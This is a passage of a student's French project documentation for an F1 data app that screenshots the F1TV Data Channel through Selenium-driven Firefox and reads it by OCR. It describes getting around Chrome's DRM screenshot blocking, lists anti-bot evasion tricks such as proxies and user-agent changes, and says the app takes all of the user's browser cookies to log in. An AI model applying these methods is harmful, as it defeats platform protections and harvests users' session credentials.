ce type. Comme l'original a \u00e9t\u00e9 fait sur Excel, je ne peux pas vraiment l'ins\u00e9rer de mani\u00e8re lisible ici, mais il est disponible dans le dossier Planning. Mais voici un r\u00e9sum\u00e9 de son contenu : T\u00e2ches J'ai d\u00e9cid\u00e9 de d\u00e9composer mon planning en trois grands types de t\u00e2ches. Programmation Documentation Tests L'id\u00e9e est de permettre une meilleure lisibilit\u00e9 et de me permettre \u00e0 moi de me faire plus facilement \u00e0 l'id\u00e9e de ce qu'il m'attend. Voici la liste des t\u00e2ches par rubrique : PT Cette rubrique contient les t\u00e2ches qui n'ont pas leur place dans les trois cat\u00e9gories principales. PT1 / pr\u00e9paration au travail de dipl\u00f4me (2) Cette t\u00e2che est un peu hors cat\u00e9gorie, mais c'est normal, c'est une supert\u00e2che qui regroupe beaucoup de choses. C'est une t\u00e2che qui est planifi\u00e9e pour deux jours et qui normalement devrait \u00eatre faite les deux premiers jours du travail. Le but est de pr\u00e9parer tout ce qui peut \u00eatre pr\u00e9par\u00e9 en avance niveau documentation et mise en place pour ne pas avoir besoin de s'en soucier ensuite. DT Rubrique documentation qui contient toutes les t\u00e2ches en rapport de pr\u00e8s ou de loin avec la documentation du projet. DT1 Cr\u00e9ation du poster (1) Cette t\u00e2che consiste \u00e0 faire une version num\u00e9rique du poster qui soit en accord avec les consignes qu'on nous a donn\u00e9es. Le but est aussi et surtout de faire poster dont je sois fier et que je sois content de montrer. Il y a d\u00e9j\u00e0 des croquis de poster et j'ai clairement pr\u00e9vu de travailler sur \u00e7a pendant les vacances alors, je n'ai mis qu'un jour et je l'ai plac\u00e9 juste avant le rendu de ce dernier. DT2 Documentation Analyse de l'existant (2) Cette t\u00e2che est d\u00e9di\u00e9e \u00e0 l'\u00e9criture de la documentation et plus pr\u00e9cis\u00e9ment de l'analyse de l'existant. Comme il y a pas mal de technologies utilis\u00e9es dans mon projet, j'aimerais faire correctement un vrai debrief de pourquoi j'ai utilis\u00e9 l'une ou l'autre alors, j'ai assign\u00e9 deux jours dessus. DT3 Documentation Analyse organique (5) Cette t\u00e2che est la plus grosse dans la cat\u00e9gorie documentation. Il s'agit de documenter comment l'application fonctionne. J'y ai mis cinq jours et je pense que c'est un minimum car c'est dans cette t\u00e2che que je vais devoir d\u00e9tailler exactement comment fonctionne chaque partie du projet. Ces cinq jours sont \u00e9parpill\u00e9s sur le projet en g\u00e9n\u00e9ral \u00e0 la fin du d\u00e9veloppement de chaque grande partie de projet. Le but est de ne rien oublier et de ne pas avoir \u00e0 tout faire en m\u00eame temps. DT4 Documentation Analyse fonctionnelle (2) Cette t\u00e2che est d\u00e9j\u00e0 moins grosse, elle consiste \u00e0 documenter le fonctionnement de l'application et comment utiliser les composants que j'ai d\u00e9velopp\u00e9s. Je l'ai mis en fin de projet, car comme j'ai l'habitude de faire des analyses fonctionnelles plut\u00f4t pr\u00e9cises, le moindre changement dans l'UI peut tout rendre obsol\u00e8te. J'y ai mis deux jours, car j'aimerais correctement documenter avec de bonnes photos et sc\u00e9narios pour qu'on puisse voir toutes les possibilit\u00e9s de l'application. DT5 Documentation Tests (1) Cette t\u00e2che est un peu plus petite qu'elle ne le devrait. Elle concerne la documentation des diff\u00e9rents tests. Je n'y ai mis qu'un seul jour, car en r\u00e9alit\u00e9 les diff\u00e9rentes t\u00e2ches de tests contiennent aussi beaucoup de documentation, DT6 Documentation Reste (2) Cette t\u00e2che est une t\u00e2che un peu vague. Elle contient toutes les actions autres que j'aurai besoin de faire (Mise au propre, orthographe, g\u00e9n\u00e9ration de PDF ...). J'y ai mis deux jours pour avoir un peu de marge, car ce sont toujours des t\u00e2ches qui paraissent faciles, mais qui \u00e0 la fin prennent beaucoup de temps si on les fait bien. PT Rubrique programmation qui contient toutes les t\u00e2ches qui touchent \u00e0 la programmation et au d\u00e9veloppement de l'application. PT1 Programmation r\u00e9cup\u00e9ration des images (3) Cette t\u00e2che est estim\u00e9e \u00e0 seulement trois jours, il ne faut pas s'y m\u00e9prendre, c'est une des t\u00e2ches les plus dures et lourdes niveaux documentation en explications. Cependant, un POC (Proof Of Concept) assez avanc\u00e9 a d\u00e9j\u00e0 \u00e9t\u00e9 fait et donc cela permet de n'envisager que trois jours, car il suffit de l'impl\u00e9menter et de la paufinner. Cette t\u00e2che consiste \u00e0 prendre en entr\u00e9e un lien de Grand Prix et de sortir une image tous les x secondes de la page DATA. Cela peut sembler simple, mais pour le faire sans prendre d'espace d'\u00e9cran et ne demandant pas \u00e0 l'utilisateur de copier-coller quoi que ce soit o\u00f9 de donner ses identifiants F1TV c'est un challenge. Cela peut paraitre curieux alors de mettre cette t\u00e2che loin dans le planning m\u00eame si c'est la premi\u00e8re \u00e9tape du projet. Encore une fois cela s'explique avec le fait qu'il y a d\u00e9j\u00e0 un POC qui fonctionne \u00e0 peu pr\u00e8s et que donc pr\u00e9f\u00e8re commencer avec des t\u00e2ches plus incertaines dans le cas o\u00f9 elles prendraient plus de temps que pr\u00e9vu. PT2 Programmation OCR (5) Cette t\u00e2che consiste \u00e0 d\u00e9velopper la partie qui reconnait le texte sur les images. C'est tr\u00e8s certainement la t\u00e2che qui risque le plus de d\u00e9border car c'est celle qui est la plus complexe techniquement puisqu'elle demande non seulement la lecture sur image, mais aussi le d\u00e9veloppement d'algorithmes de traitement de cette donn\u00e9e pour \u00eatre s\u00fbr qu'elle a bien \u00e9t\u00e9 lue. J'y ai ainsi allou\u00e9 cinq jours, mais j'esp\u00e8re que j'arriverai \u00e0 gagner du temps sur les autres pour y allouer plus dans le planning effectif, car je suis convaincu que plus, on y passe du temps, meilleur sera le r\u00e9sultat. PT3 Programmation, stockage et mod\u00e8le (5) Cette partie est moins technique, mais concerne le stockage des donn\u00e9es que nous retourne la lecture des images. Mais elle va demander de la r\u00e9flexion et de l'intelligence de programmation, car il faut que cette partie anticipe les besoins de la vue et pr\u00e9pare un terrain fertile qui ne demande pas un refactor quand on passera au d\u00e9veloppement de la vue. C'est pour cela que je lui ai aussi assign\u00e9 cinq jours de travail et elle doit absolument \u00eatre commenc\u00e9e apr\u00e8s la lecture. PT4 Programmation Vue de l'APP (5) Cette partie peut \u00eatre horrible comme tr\u00e8s facile, cela d\u00e9pend compl\u00e8tement de la qualit\u00e9 du travail avant. Si le mod\u00e8le est parfait et que les donn\u00e9es sont int\u00e8gres, cela devrait \u00eatre plut\u00f4t simple de les afficher de mani\u00e8re int\u00e9ressante. Cependant, cette partie d\u00e9bordera s\u00fbrement un peu, car tout le temps gagn\u00e9 avec de bonnes donn\u00e9es sera utilis\u00e9 pour tenter de faire de la pr\u00e9diction. Pour ces raisons, je lui ai assign\u00e9 \u00e9galement cinq jours de travail et elle doit absolument \u00eatre faite apr\u00e8s le mod\u00e8le. PT5 Programmation mise en commun (3) Cette t\u00e2che est aussi un petit peu sp\u00e9ciale, car elle regroupe plusieurs choses. En gros, chaque partie de programmation sera s\u00fbrement assez ind\u00e9pendante et il faudra \u00e0 un moment faire un seul projet C# qui contient tout. Il est difficile d'estimer \u00e0 quel point cela va \u00eatre compliqu\u00e9 alors, j'ai \u00e9t\u00e9 conservateur et j'ai mis trois jours. TT Cette rubrique contient les t\u00e2ches qui sont uniquement des tests. La plupart des t\u00e2ches de programmations contiennent d\u00e9j\u00e0 des tests, mais certaines demandent une attention particuli\u00e8re. TT1 Tests OCR (2) Cette t\u00e2che est une des t\u00e2ches les plus importantes. Son but est de faire un protocole de tests complet qui permette de comparer les diff\u00e9rents algorithmes de reconnaissance de texte. Je l'ai mise apr\u00e8s la reconnaissance, mais m\u00eame maintenant en \u00e9crivant ces lignes, je me dis que dans le planning effectif, elle sera faite pendant la t\u00e2che de programmation. En effet, comment savoir si mon tout nouvel algorithme est r\u00e9ellement mieux que le pr\u00e9c\u00e9dent. Je pr\u00e9vois deux jours, car je pense que faire le dataset va prendre beaucoup de temps, il faut pr\u00e9voir un certain nombre d'images et de texte qui pourront ensuite \u00eatre donn\u00e9es sous forme de tests. C'est certes une t\u00e2che de test, mais c'est aussi de la programmation. TT2 Tests finaux (2) Cette t\u00e2che de tests est un peu vague, elle regroupe les diff\u00e9rents tests pour v\u00e9rifier que les donn\u00e9es sont bien affich\u00e9es correctement. Ce qui serait cool si j'ai du temps en fin de travail de dipl\u00f4me serait de faire un syst\u00e8me de test qui permet d'entrainer le programme \u00e0 mieux reconnaitre certaines choses comme des arr\u00eats aux stands si on lui donne les trois derni\u00e8res ann\u00e9es de grands Prix. J'ai mis une dur\u00e9e arbitraire de deux jours, mais je ne sais pas vraiment combien de temps cela va vraiment durer. Elle est \u00e9videmment \u00e0 effectuer une fois que tout est \u00e0 peu pr\u00e8s termin\u00e9. Planning effectif et diff\u00e9rences [A remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me] Analyse fonctionnelle [A remplir au fur et \u00e0 mesure dans la seconde moiti\u00e9 du travail de dipl\u00f4me] Analyse Organique [A remplir au fur et \u00e0 mesure que les features sont d\u00e9velopp\u00e9es] R\u00e9cup\u00e9ration des images Voici la premi\u00e8re grande \u00e9tape du projet. Pour rappel, Amazon h\u00e9berge directement le site de la F1TV et poss\u00e8de les droits sur les donn\u00e9es de la F1. C'est sous le nom de AWS (le service d'h\u00e9bergement d'Amazon) que la firme apparait en tant que sponsor. On peut voir ce nom appara\u00eetre assez souvent quand on regarde un Grand Prix car comme ils ont la main-mise sur les donn\u00e9es ils peuvent ins\u00e8rer des bandeaux d'informations sur le flux public sur ce qu'il se passe voir m\u00eame faire des pr\u00e9dictions (Bien qu'un peu bancales) \"Exemple insertion AWS en GP\" Ce service s'appelle F1 Insights (Oui c'est un meilleur nom de projet que F1 Companion mais bon) et c'est, je pense, la raison pour laquelle on ne voit aucune API publique qui permette de correctement se renseigner en don\u00e9es en direct pendant un Grand Prix. Ils ont du d\u00e9gotter un juteux contrat pour s'occuper de toute l'infrastructure digitale de la F1 (du moins publique) en \u00e9change d'une exclusivit\u00e9 totale sur certaines choses comme les Data \"Exemple data d'AWS\" Evidemment je ne fais que conjecturer et ce que j'ai dit n'est pas \u00e0 prendre au pied de la lettre mais c'est une explication possible je pense de pourquoi il est si difficile de trouver des donn\u00e9es sur la F1 facilement en temps r\u00e9el. Il existe bien quelques API un peu bancales publiques, mais le probl\u00e8me c'est qu'elles ne sont vraiment pas suffisante et je ne peux pas leur faire confiance quand je commente. Ce qu'il m'aurait fallut c'est une API publique et officielle qui me permette d'\u00eatre sur que les donn\u00e9es sont les bonnes et qu'elles arrivent le plus vite possible. On pourrait croire que c'est impossible car cela n'existe pas comme je l'ai dit MAIS ! Ce n'est pas compl\u00eatement vrai. En effet depuis que je poss\u00e8de un abonnement \u00e0 la F1TV, il existe une source d'informations tr\u00e8s pr\u00e9cieuse qui m'aide \u00e9norm\u00e9ment dans mon quotidien de commentateur de Formule 1. La \"DATA CHANNEL\". La Data Channel est une page de la F1TV qui permet, pour chaque Grand Prix, de visualiser, sous la forme d'un flux vid\u00e9o, diff\u00e9rentes informations capitales sur la course. \"Exemple de Data Channel\" Le probl\u00e8me, c'est que comme je viens de le dire, ces donn\u00e9es ne sont pas accessibles comme un tableau HTML ou un flux RSS ou un tableau JSON. C'est un flux vid\u00e9o. Il faut savoir qu'entretenir une diffusion de flux vid\u00e9o en 1080P pendant deux heures accessible par des milliers d'abonn\u00e9s est EXTR\u00caMENT cher surtout quand on le compare \u00e0 simplement afficher les donn\u00e9es dans un tableau. Ce qui veut dire que ce choix est d\u00e9lib\u00e9r\u00e9 et a un sens au niveau \u00e9conomique. Je pense donc que c'est justement pour \u00e9viter que des petits malins puissent simplement venir scraper l'int\u00e9gralit\u00e9 des donn\u00e9es qu'ils proposent et fasse sa propre API. (C'est d'ailleurs un des sites avec la meilleure protection anti bot du monde) MAIS ce n'est pas par ce que les donn\u00e9es ne sont pas facile \u00e0 avoir qu'elles sont IMPOSSIBLE \u00e0 avoir. Et c'est la que ce projet entre en jeu. Mais pour d\u00e9coder les donn\u00e9es d'une image il faut dabord ... (roulement de tambours) ... Avoir des images ! Et c'est la que vient se glisser cette partie du projet. Comment faire ? Le but de ce segment est de se concentrer sur la r\u00e9cup\u00e8ration et la mise \u00e0 disposition pour le reste du programme, des images en direct de la F1TV dans la meilleure qualit\u00e9 possible et dans les meilleurs d\u00e9lais. Pour ce faire il y a plusieurs solutions : Reverse engeneer la F1TV pour acc\u00e8der directement au flux sans passer par la plateforme internet et pouvoir prendres images \u00e0 volont\u00e9. Avoir tout simplement une page de la F1TV ouverte sur un \u00e9cran et prendres des screenshots \u00e0 intervals r\u00e9guliers. Simuler un navigateur internet sans qu'il soit affich\u00e9 et le contr\u00f4ler automatiquement pour qu'il prenne des captures. La premi\u00e8re option aurait \u00e9t\u00e9 la plus \u00e9l\u00e9gante mais lors d'un POC que je tentais de r\u00e9aliser je me suis rendu compte que cela serait un peu trop compliqu\u00e9 et long \u00e0 faire. Sans compter le fait que les rediffusions de Grand Prix ne sont pas g\u00e8r\u00e9es de la m\u00eame mani\u00e8re que les diffusions en live. Et que pour faire des Tests en live il faudrait attendre \u00e0 chaque fois un weekend de Grand Prix et le faire en plus du commentaire que je dois produire. Pour toutes ces raisons et bien d'autres je l'ai rang\u00e9e dans la case \"Trop dur, Trop chiant, S\u00fbrement ill\u00e9gal\" (Oui je sais c'est une cat\u00e9gorie bien sp\u00e9cifique mais c'est ma documentation je fais ce que je veux) La troisi\u00e8me option aurait \u00e9t\u00e9 la plus simple (et moins dr\u00f4le) et je suis presque s\u00fbr que je peux impl\u00e9menter cette derni\u00e8re en moins d'une apr\u00e8s-midi. Sauf qu'elle apporte de gros soucis. On ne peux pas garantir l'int\u00e9grit\u00e9 et la continuit\u00e9 des donn\u00e9es si l'utilisateur avance ou fait pause m\u00eame par simple inadvertance. La moindre fen\u00eatre qui s'afficherait devant ruinerait toute la reconnaissance de caract\u00e8res. On ne peut pas contr\u00f4ler la qualit\u00e9 du flux et on est oblig\u00e9 de faire confiance en l'utilisateur On ne peut pas vraiment automatiser quoi que ce soit niveau tests ou m\u00eame pour faire du scrapping auto pour remplir une base de donn\u00e9e. Et finalement le pire inconv\u00e9nient : C'EST NUL ! Je ne pourrais jamais utiliser un projet qui fonctionne de cette facon, je ne peux pas me permettre d'avoir un \u00e9cran inutilisable quand je commente et auquel je dois constamment faire attention pour ne pas perturber la reconnaissance. Pour moi cette option aurait \u00e9t\u00e9 celle \u00e0 choisir en cas d'extr\u00eame urgence et en dernier recours car le projet deviendrait inutile. J'ai donc d\u00e9cid\u00e9 de m'occuper de la seconde option : Simuler un navigateur. Cette option bien que complexe et difficile \u00e0 impl\u00e9menter propose une solution \u00e0 tous les probl\u00eame et permet une r\u00e9cup\u00e8ration quasi sans compromis. Simuler un navigateur ? Simuler un navigateur internet n'est pas forc\u00e9ment tr\u00e8s difficile. Chromium par exemple offre une panoplie d'outils natifs et \u00e9norm\u00e9ment de librairies existent permettant de facilement et en quelques lignes simuler un Google Chrome et le contr\u00f4ler sans afficher son UI. \"Chromium logo\" {: style=\"height:150px;width:150px\"} Cependant. La F1TV n'utilise pas simplement un player HTML5 basique. Elle utilise un service de streaming BitMovin qui permet de fournir un stream de bonne qualit\u00e9 et surtout qui impl\u00e9mente les DRM (Digital Right Management) Cela veut dire que quand on ouvre un flux de la F1TV sur chrome et que l'on essaie de prendre une capture d'\u00e9cran, le player se met en noir et ne permet pas de voir quoi que ce soit (Certaines version de Chrome le permettent pendant quelques semaines avant de bloquer \u00e0 nouveau). Ce qui dans notre cas est un immense probl\u00e8me. Mais Firefox ne nous bloque pas de cette facon et il est donc assez facile de passer outre. L'explication sans trop rentrer dans les d\u00e9tails est la suivante : Dans chrome, le player par d\u00e9faut utilise une technologie appell\u00e9e \"PCP\" ou \"Protected Content Playback\" qui leur permet de bloquer au moins une partie des techniques de r\u00e9cup\u00e8ration du flux vid\u00e9o et audio. Cependant Firefox de pas sa nature Open Source utilise \"OpenH264\" pour lire ces m\u00eames flux soumis \u00e0 des DRM et OpenH264 n'impl\u00e9mente pas les m\u00eames restrictions. Sauf que Firefox n'est pas aussi facilement \u00e9mul\u00e9 que chrome et cela r\u00e9duit notre choix de librairies \u00e0 ... Une seule... Qui est Selenium. (Il existe aussi Pupetteer C# mais j'ai rencontr\u00e9 \u00e9norm\u00e9ment de soucis avec cette derni\u00e8re d\u00e8s que je voulais lancer une vid\u00e9o) \"Firefox dev logo\" {: style=\"height:150px;width:150px\"} Mais m\u00eame si la documentation est plut\u00f4t maigre parfois, c'est une bonne librairie qui permet de tr\u00e8s bien contr\u00f4ler une instance de chrome ou de Firefox. Contr\u00f4ler le navigateur Maintenant que l'on sait quel navigateur simuler et avec quelle technologie, on peut passer \u00e0 la r\u00e9alisation. Ce qu'il y a de bien avec Selenium, c'est qu'on a un certain nombre de commandes tr\u00e8s haut niveau qui nous permettent de contr\u00f4ler un navigateur de mani\u00e8re plut\u00f4t pr\u00e9cise. Je vais d\u00e9crire ici la proc\u00e9dure habituelle utilis\u00e9e sous une forme de recette de cuisine pour que l'on puisse facilement comprendre ce qu'il se passe. Durant cette explication je vais parler \u00e0 un moment de Cookies, ne vous en faites pas c'est le sous chapitre suivant qui va vous en parler. Recette de cuisine pour r\u00e9cup\u00e8rer des images de la F1TV : D\u00e9marrer une instance de navigateur avec les bons arguments Ajouter les bons param\u00eatres pour ne pas se faire flag comme un bot Naviguer sur la page de la F1TV Ajouter les cookies de connexion pour avoir acc\u00e8s au contenu de la page Naviguer sur la page du Grand Prix demand\u00e9 Attendre un peu que la page se charge Cliquer sur l'invite de cookies Attendre cinq secondes le temps que la page se reload Cliquer sur le bouton qui permet de passer du feed live \u00e0 la DATA CHANNEL Appuyer sur Espace pour faire apparaitre le bouton d'acc\u00e8s au param\u00eatres Cliquer sur le menu d\u00e9roulant des r\u00e9solution Trouver l'option 1080P et la selectionner Cliquer sur le bouton qui met la vid\u00e9o en plein \u00e9cran Prendre de screenshots \u00e0 intervales r\u00e9guliers Pour faire toutes ces actions on doit r\u00e9cup\u00e8rer les \u00e9l\u00e9ments selon leur ID ou leur classe. Voici un exemple qui r\u00e9cup\u00e8re le bouton de plein \u00e9cran et qui clique dessus : IWebElement fullScreenButton = Driver.FindElement(By.ClassName(\"bmpui-ui-fullscreentogglebutton\")); fullScreenButton.Click(); Ca peut para\u00eetre plut\u00f4t simple dit comme ca et quand tout fonctionne ca l'est mais la difficult\u00e9 vient du fait que \u00e0 peu pr\u00e8s nimporte laquelle de ces \u00e9tapes peut rater et qu'il faut donc faire un bon syst\u00e8me de gestion d'erreurs qui puisse aider l'utilisateur en cas de probl\u00e8me. Il faut dire aussi que les sites ne sont pas forc\u00e9ment tr\u00e8s content de voir des bots passer car cela peut \u00eatre un risque de DDOS et de Scraping (Comme moi) et donc ils mettent en place des syst\u00e8mes pour nous emp\u00eacher de faire ce que l'on veut On peut utiliser diff\u00e9rntes techniques pour passer outre ces restrictions comme : Changer son UserAgent Changer sa r\u00e9solution Ne pas avoir des patterns trop pr\u00e9visibles Avoir un historique Ne pas cliquer pile sur le milieu des boutons Ne pas cliquer trop vite Passer par un proxy pour ne pas se faire flag Utiliser des librairies plus discr\u00e8tes J'ai eu l'occasion de tester toutes ces methodes pour tenter de passer derri\u00e8re les radars de la F1TV et visiblement j'ai r\u00e9ussi pour les pages principales mais pas pour les pages de Login. Il faut savoir que la bataille entre bots et propri\u00e9taires de sites est un grand jeu du chat et de la souris et que les plateformes innovent constamment leur s\u00e9curit\u00e9. Et il se trouve que la partie login de la F1TV est heberg\u00e9e autre part que le reste du site chez Amazon et que elle poss\u00e8de les meilleures s\u00e9curit\u00e9s que j'aie pu voir. Aucunes des methodes que j'ai cit\u00e9es et d'autres encore que j'ai essay\u00e9 n'ont r\u00e9ussi \u00e0 fourvoyer le syst\u00e8me. J'ai donc \u00e9t\u00e9 oblig\u00e9 de faire appel \u00e0 la connexion par Cookies pour pouvoir acc\u00e8der au reste du site internet. R\u00e9cup\u00e8rer les cookies ? Alors, on va mettre de c\u00f4t\u00e9 toutes les questions de s\u00e9curit\u00e9 et de violation de la vie priv\u00e9e et de protection des donn\u00e9es des utilisateurs pour ce chapitre. Car pour faire simple, je siphonne TOUS les cookies de la persone qui utilise mon app. [FINIR CETTE EXPLICATIOn] Calibration [AJOUTER EXPLICATION] OCR Ici je vais parler de la seconde partie du projet qui parle du processus de reconnaissance de data sur une image du feed DATA de la F1TV. C'est je pense la partie qui a demand\u00e9 le plus tests et de refactor. Toute la partie OCR a \u00e9t\u00e9 d\u00e9velopp\u00e9e dans un projet \u00e0 part avant d'\u00eatre int\u00e9gr\u00e9e dans le projet final. Il faut savoir que la reconnaissance est diff\u00e9rente celon ce que l'on cherche. Je vais donc d\u00e9composer cette partie du document en sous rubriques selon les donn\u00e9es recherch\u00e9es. Mais avant ca je dois expliquer certains concepts qui seront importants. Fonctionnement g\u00e9n\u00e9ral Voici un screenshot de la page DATA de la F1TV que le programme va recevoir : \"Screen F1TV\" Si on regarde de loin on peut se dire que la structure est plut\u00f4t simple mais c'est loin d'\u00eatre le cas. On peut y voir au moins 4 zones contenant de l'information dans un format diff\u00e9rent. \"Zones principales\" Dans l'exemple ci dessus on peut voir 3 zones mais on aurait \u00e9galement pu comprendre la zone de position des pilotes autour du circuit pour faire 4. Ces 4 zones sont tr\u00e8s diff\u00e9rentes et contiennent d'autres informations. Pour ce travail de dipl\u00f4me je ne m'occupe que de la zone principale. Mais je pense que le titre et les infos de circuit ne prendrait pas tant de temps que ca \u00e0 impl\u00e9menter. J'ai utilis\u00e9 le mot \"Zone\" plus haut et ca n'est pas juste un mot utilis\u00e9 au hasard. C'est le nom de l'objet que j'utilise pour les repr\u00e9senter dans mon programme. Mais comme c'est important de bien comprendre ce concept avant de continuer je vais vous l'expliquer. ZONE : L'objet \"Zone\" parent est un objet qui est une zone d'image. Je m'explique, le but d'une zone est d'\u00eatre un morceau d'une image plus grande. Le but d'une Zone est de contenir une liste de plus petites Zones ou bien une liste de \"Window\" (j'explique ce que c'est juste apr\u00e8s). Elle contient la portion d'image qui la concerne et ses propres dimensions. Le parent zone ne pr\u00e9voit que de pouvoir ajouter ou supprimer des \u00e9l\u00e9ments des listes de zones ou de windows ainsi qu'une methode qui permet d'aller chercher toutes informations des livres qu'elle contient. L'int\u00e9r\u00eat d'une zone est de pouvoir compartimenter une image dans des parties int\u00e9ressantes au niveau de la reconnaissance mais pas de traiter d'information. WINDOW : L'objet \"Window\" est un objet qui peut ressembler beaucoup \u00e0 l'objet \"Zone\". En effet elle aussi est une partie d'une image plus grande et contient ses dimensions, mais elle se distingue en deux points importants. Elle ne contient pas d'autres Zones ou Windows Elle peut retourner les informations \u00e9crites sur son image. Toutes les Window qui h\u00e9ritent du parent Window peuvent impl\u00e9menter une methode qui permet de renvoyer ce qui peut \u00eatre d\u00e9cod\u00e9 sur son image. Les enfants peuvent aussi aller piocher dans les nombresues methodes de r\u00e9cup\u00e8ration de donn\u00e9es contenues dans le parent Window. Mieux vaut r\u00e9utiliser le plus possible que de r\u00e9inventer la roue pour chaque Window. Une analogie un peu bancale pourrait se pr\u00e9senter comme la suivante : La zone est une armoire ou une bibliot\u00e8que. Si c'est une zone qui contient d'autres zones c'est une bibliot\u00e8que et chacune de ces sous-zones sont des armoires. Leur unique but est de contenir de mani\u00e8re ordonn\u00e9e des objets qui eux contiennent de l'information. Les livres ici sont les Windows. Ils contiennet de l'information et sont stock\u00e9s dans des armoires et on y acc\u00e8de en allant dans la bonne bibliot\u00e8que et en allant dans la bonne armoire. Derni\u00e8res choses pour comprendre le diagramme: Il existe une Main Zone qui est une des 4 grandes zones dont je parlais dans la d\u00e9composition de l'image. Il existe aussi des \"Driver Zone\" qui sont de plus petites zones contenues dans la Main Zone qui et qui ne contiennent que les informations d'un pilote. L'objet Window n'est quasi jamais utilis\u00e9, c'est presque tout le temps des enfants de Window plus sp\u00e9cifiques qui sont utilis\u00e9s, le but est que chaque type d'information sur l'image aie son type de window. Voila donc un petit diagramme qui montre le d\u00e9coupage du programme : \"Diagramme explicatif de l'architecture des zones\" Pour visualiser encore un peu mieux comment ce d\u00e9coupage prend forme voici ce que chaque zone et Window contient. Main Zone : \"Exemple zone principale\" Driver Zone : \"Exemple zone de pilote\" Driver Position Window : \"Exemple de fen\u00eatre de position\" Driver name Window : \"Exemple de fen\u00eatre de nom\" Driver LapTime Window : \"Exemple de fen\u00eatre de temps au tour\" Driver Tyre Window : \"Exemple de fen\u00eatre pneus\" Il existe d'autres types de Window mais ce sont les principaux. On se rend assez facilement compte que chacunes de ces windows va avoir besoin d'un traitement sp\u00e9cifique car la mani\u00e8re de reconnaitre le pneu utilis\u00e9 et le temps au tour ne peut pas \u00eatre la m\u00eame. Pour r\u00e9sumer, on a un programme qui prend en entr\u00e9e un fichier de configuration, qui prend des images de la F1TV et les d\u00e9coupe dans des ZONES qui elles m\u00eame sont d\u00e9coup\u00e9es en WINDOWS pour qu'on puisse plus facilement les d\u00e9coder. Maintenant qu'on a une liste de diff\u00e9rent types de zones on peut commencer \u00e0 chercher ce qu'il y a marqu\u00e9 dessus. Pour cela il faut dabord comprendre un petit peu comment l'OCR fonctionne et comment des libraries comme Tesseract fonctionnent pour donner du texte en partant d'une image. Pour faire tr\u00e8s simple, nous avons un mod\u00e8le qui est entrain\u00e9. C'est \u00e0 dire que on donne \u00e0 un programme un tr\u00e8s grand nombre de mots ou de lettres en lui disant ce que contiennent chaques images. Ensuite le programme va cr\u00e9er des matrices de convolutions pour chaque lettre avec comme objectif de detecter les points communs entre les lettres pour cr\u00e9er un alpphabet. Par exemple la matric de la lettre 'H' donnerait un poids important \u00e0 des lignes verticales connect\u00e9es par une ligne centrale. Et si on fournis assez de donn\u00e9es de bonne qualit\u00e9 au mod\u00e8le, les matrices peuvent \u00eatre tr\u00e8s efficace \u00e0 detecter si une lettre est un H ou un M. Il y a pleins d'autres methodes comme l'utilisation d'un dictionnaire de mots de la langue pour permettre la reconnaissance de mots m\u00eame si une lettre au milieu n'est pas comprise ou en ajoutant d'autres informations sur le contexte mais ca ne nous int\u00e9resse pas ici. C'est important de comprendre comment cette reconnaissance de caract\u00e8res avec des matrices fonctionne car cela va nous aider \u00e0 pr\u00e9parer nos donn\u00e9es pour lui rendre la vie facile et augmenter la pr\u00e9cision de nos r\u00e9sultats. Filtres et traitement On peut essayer de donner toutes nos images directement \u00e0 Tesseract pour qu'il reconnaisse tout le texte qu'il y voit mais on risque de se retrouver avec des r\u00e9sultats au mieux inconsistents. Dans notre cas, le soucis est que les chiffres et lettres sont beaucoup trop petits. Ils ne font parfoisd que 10 pixels de haut et cela fait que il n'est pas forc\u00e9ment facile de toujours les diff\u00e9rencier. De plus, comme ils sont petits, les art\u00e9facts d'aliasing sont assez violents et peuvent grandement d\u00e9former une lettre ou un chiffre. Exemple : Prenons le chiffre 9. Dans l'image il peut \u00eatre repr\u00e9sent\u00e9 de cette mani\u00e8re : \"Exemple de chiffre avant post traitement\" On peut voir qu'il est flou, pour nous cela ne pose pas de probl\u00e8me et je pense que \u00e0 peu pr\u00e8s nimporte qui peut dire que c'est un 9. Cependant comme les contours sont flous et m\u00eame si on essaie de retirer le background : \"9 avec anti aliasing\" On voit que le 9 n'est pas clairement d\u00e9finit. En effet on pourrait le comprendre comme : \"Premier exemple de contours\" Ou comme : \"Second exemple de contours\" Voire m\u00eame simplement comme : \"Exemple de coutour g\u00e9n\u00e9reux\" Et on se rend bien compte que les performances de detection ne sont pas les m\u00eames dans ces trois cas. Il faut donc faire un certain post traitement des images pour supprimer les \u00e9l\u00e9ments parasites, les couleurs, et augmenter la visibilit\u00e9 des contours importants. Mais chaque type de donn\u00e9e va avoir des methodes de post traitement diff\u00e9rents. Donc voici les diff\u00e9rents types de reconnaissance et leur post traitements : Texte Alors ce type de reconnaissance est utilis\u00e9 par la WINDOW du nom de pilote et de la position du pilote. C'est je pense la plus simple de toutes car Tesseract est particuli\u00e8rement bien entrain\u00e9 pour. Cette reconnaissance concerne donc des lettres qui font des mots ou des noms. Voici un exemple de la WINDOW nom de pilote en entr\u00e9e : \"Exemple texte cru\" Ce texte peut paraitre bon, cependant quand on le lance dans Tesseract, il ne va pas toujours donner un r\u00e9sultat parfait. Il faut aussi savoir qu'il y a des noms pas mal plus p\u00e9nibles que Tesseract a plus de mal \u00e0 reconnaitres, soit \u00e0 cause des lettres utilis\u00e9es, soit car le nom est un nom d'une autre r\u00e9gion et qui ne veut rien dire en anglais ce qui emp\u00eache l'utilisation de dictionnaire (Ex : Tsunoda est un nom japonais et parfois il est difficile pour Tesseract de le reconnaitre car si une lettre pose probl\u00eame il ne peut pas trouver de contexte qui puisse l'aider). Donc pour le rendre plus facilement lisible et augmenter les chances que toutes les lettres soient d\u00e9couvertes, voici les \u00e9tapes que j'ai mis en place. 1 : J'inverse les couleurs. Je me suis rendu compte que il \u00e9tait souvent plus facile de trouver un noir sur blanc que blanc sur noir. Je ne suis pas sur que cette \u00e9tape soit capitale cependant. \"Texte invers\u00e9\" 2 : Je fais un Treshhold de 165 car avec moins le texte parfois prend trop du background et avec plus les lettres sont trop fines. \"Texte apr\u00e8s Treshold\" 3 : Je fais un Resize de l'image pour avoir une meilleure r\u00e9solution et permettre une meilleure d\u00e9tection. J'augmente la hauteur et la largeur par un facteur 2. J'ai trouv\u00e9 cette valeur suffisante et aller plus haut consomme beaucoup de ressources. \"Texte apr\u00e8s Resize\" 4: Je fais une tr\u00e8s rapide Dilatation du texte pour retirer le flou amen\u00e9 par la methode de Resize. Je n'utilise qu'une valeur de 1 car je ne veux pas trop changer comment le texte est model\u00e9 je veux juste retirer le flou. \"Texte apr\u00e8s Dilatation\" Explication des methodes pr\u00e9cises plus bas Voila pour ce qui est du post processing. 